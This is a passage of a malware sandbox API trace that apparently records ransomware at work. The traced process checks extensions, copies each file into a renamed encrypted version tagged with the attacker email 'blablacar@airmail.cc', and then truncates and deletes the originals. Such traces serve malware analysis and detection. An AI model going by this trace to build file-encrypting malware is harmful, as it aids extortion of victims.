(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0108.685] lstrlenW (lpString=".zip") returned 4 [0108.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.685] lstrlenW (lpString=".rar") returned 4 [0108.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.685] lstrlenW (lpString=".bz2") returned 4 [0108.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.685] lstrlenW (lpString=".7z") returned 3 [0108.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0108.685] lstrlenW (lpString=".dbf") returned 4 [0108.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0108.686] lstrlenW (lpString=".1cd") returned 4 [0108.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0108.686] lstrlenW (lpString=".jpg") returned 4 [0108.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.686] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.686] lstrlenW (lpString="BD00173_.WMF") returned 12 [0108.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.686] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=16180) returned 1 [0108.687] CloseHandle (hObject=0x384) returned 1 [0108.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220 [0108.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0108.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0108.687] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.687] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0108.688] GetLastError () returned 0x0 [0108.688] ReadFile (in: hFile=0x384, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x3f34, lpOverlapped=0x0) returned 1 [0108.690] WriteFile (in: hFile=0x36c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x3f40, lpOverlapped=0x0) returned 1 [0108.691] ReadFile (in: hFile=0x384, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0108.691] WriteFile (in: hFile=0x36c, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0108.692] SetEndOfFile (hFile=0x36c) returned 1 [0108.692] CloseHandle (hObject=0x36c) returned 1 [0108.693] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0108.693] SetEndOfFile (hFile=0x384) returned 1 [0108.695] CloseHandle (hObject=0x384) returned 1 [0108.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0108.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0108.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0108.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0108.695] lstrlenW (lpString=".doc") returned 4 [0108.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.695] lstrlenW (lpString=".docx") returned 5 [0108.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.695] lstrlenW (lpString=".pdf") returned 4 [0108.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.696] lstrlenW (lpString=".xls") returned 4 [0108.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.696] lstrlenW (lpString=".xlsx") returned 5 [0108.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.696] lstrlenW (lpString=".ppt") returned 4 [0108.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0108.696] lstrlenW (lpString=".zip") returned 4 [0108.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.696] lstrlenW (lpString=".rar") returned 4 [0108.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.696] lstrlenW (lpString=".bz2") returned 4 [0108.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.696] lstrlenW (lpString=".7z") returned 3 [0108.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0108.696] lstrlenW (lpString=".dbf") returned 4 [0108.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0108.696] lstrlenW (lpString=".1cd") returned 4 [0108.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0108.696] lstrlenW (lpString=".jpg") returned 4 [0108.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0108.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0108.697] lstrlenW (lpString=".doc") returned 4 [0108.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.697] lstrlenW (lpString=".docx") returned 5 [0108.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0108.697] lstrlenW (lpString=".pdf") returned 4 [0108.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.697] lstrlenW (lpString=".xls") returned 4 [0108.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.697] lstrlenW (lpString=".xlsx") returned 5 [0108.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0108.697] lstrlenW (lpString=".ppt") returned 4 [0108.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0108.697] lstrlenW (lpString=".zip") returned 4 [0108.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.697] lstrlenW (lpString=".rar") returned 4 [0108.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.697] lstrlenW (lpString=".bz2") returned 4 [0108.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.697] lstrlenW (lpString=".7z") returned 3 [0108.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0108.697] lstrlenW (lpString=".dbf") returned 4 [0108.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0108.698] lstrlenW (lpString=".1cd") returned 4 [0108.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68 [0108.698] lstrlenW (lpString=".jpg") returned 4 [0108.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.698] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0108.698] lstrlenW (lpString="BD05119_.WMF") returned 12 [0108.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0109.060] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=17236) returned 1 [0109.060] CloseHandle (hObject=0x394) returned 1 [0109.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0109.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0109.060] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0109.060] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0109.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0109.639] GetLastError () returned 0x0 [0109.639] ReadFile (in: hFile=0x394, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x4354, lpOverlapped=0x0) returned 1 [0109.641] WriteFile (in: hFile=0x2b4, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x4360, lpOverlapped=0x0) returned 1 [0109.642] ReadFile (in: hFile=0x394, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0109.642] WriteFile (in: hFile=0x2b4, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1 [0109.642] SetEndOfFile (hFile=0x2b4) returned 1 [0109.643] CloseHandle (hObject=0x2b4) returned 1 [0109.662] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0109.662] SetEndOfFile (hFile=0x394) returned 1 [0109.663] CloseHandle (hObject=0x394) returned 1 [0109.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0109.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0109.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0109.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0109.664] lstrlenW (lpString=".doc") returned 4 [0109.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.664] lstrlenW (lpString=".docx") returned 5 [0109.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.664] lstrlenW (lpString=".pdf") returned 4 [0109.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.664] lstrlenW (lpString=".xls") returned 4 [0109.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.664] lstrlenW (lpString=".xlsx") returned 5 [0109.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.664] lstrlenW (lpString=".ppt") returned 4 [0109.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0109.664] lstrlenW (lpString=".zip") returned 4 [0109.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.664] lstrlenW (lpString=".rar") returned 4 [0109.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.664] lstrlenW (lpString=".bz2") returned 4 [0109.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.665] lstrlenW (lpString=".7z") returned 3 [0109.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0109.665] lstrlenW (lpString=".dbf") returned 4 [0109.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0109.665] lstrlenW (lpString=".1cd") returned 4 [0109.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0109.665] lstrlenW (lpString=".jpg") returned 4 [0109.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0109.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0109.665] lstrlenW (lpString=".doc") returned 4 [0109.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.665] lstrlenW (lpString=".docx") returned 5 [0109.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0109.665] lstrlenW (lpString=".pdf") returned 4 [0109.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.665] lstrlenW (lpString=".xls") returned 4 [0109.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.665] lstrlenW (lpString=".xlsx") returned 5 [0109.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0109.665] lstrlenW (lpString=".ppt") returned 4 [0109.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0109.665] lstrlenW (lpString=".zip") returned 4 [0109.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.666] lstrlenW (lpString=".rar") returned 4 [0109.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.666] lstrlenW (lpString=".bz2") returned 4 [0109.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.666] lstrlenW (lpString=".7z") returned 3 [0109.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0109.666] lstrlenW (lpString=".dbf") returned 4 [0109.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0109.666] lstrlenW (lpString=".1cd") returned 4 [0109.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0109.666] lstrlenW (lpString=".jpg") returned 4 [0109.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.666] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0109.666] lstrlenW (lpString="BD08808_.WMF") returned 12 [0109.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0109.667] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=47996) returned 1 [0109.667] CloseHandle (hObject=0x394) returned 1 [0109.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0109.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0109.667] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0109.667] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0109.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0109.668] GetLastError () returned 0x0 [0109.668] ReadFile (hFile=0x394, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0) Thread: id = 11 os_tid = 0xf4c [0078.604] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x511be8 [0078.604] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x521bf0 [0078.605] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc188 [0078.605] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x6) returned 0x4de488 [0078.605] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc260 [0078.605] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x100000) returned 0x3496020 [0078.609] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc1a0 [0078.609] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc1a0, Size=0x20) returned 0x47f280 [0078.609] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc1e8 [0078.609] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc1e8, Size=0x20) returned 0x47f078 [0078.609] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0078.609] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0078.609] Wow64DisableWow64FsRedirection (in: OldValue=0x2beff50 | out: OldValue=0x2beff50*=0x0) returned 1 [0078.609] lstrlenW (lpString="kernel32.dll") returned 12 [0078.609] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f280 | out: hHeap=0x440000) returned 1 [0078.609] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0078.609] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f078 | out: hHeap=0x440000) returned 1 [0078.610] Sleep (dwMilliseconds=0x64) [0078.940] lstrcmpiW (lpString1=".log", lpString2=".kr") returned 1 [0078.940] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0078.940] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0078.942] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=6004) returned 1 [0078.942] CloseHandle (hObject=0x2c8) returned 1 [0078.943] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0078.943] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0078.944] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0078.944] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0078.944] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0078.944] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0078.945] GetLastError () returned 0x0 [0078.945] ReadFile (in: hFile=0x2c8, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x1774, lpOverlapped=0x0) returned 1 [0078.971] WriteFile (in: hFile=0x2cc, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x1780, lpOverlapped=0x0) returned 1 [0078.973] ReadFile (in: hFile=0x2c8, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0078.973] WriteFile (in: hFile=0x2cc, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x114, lpOverlapped=0x0) returned 1 [0078.973] SetEndOfFile (hFile=0x2cc) returned 1 [0078.973] CloseHandle (hObject=0x2cc) returned 1 [0078.979] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0078.979] SetEndOfFile (hFile=0x2c8) returned 1 [0078.980] CloseHandle 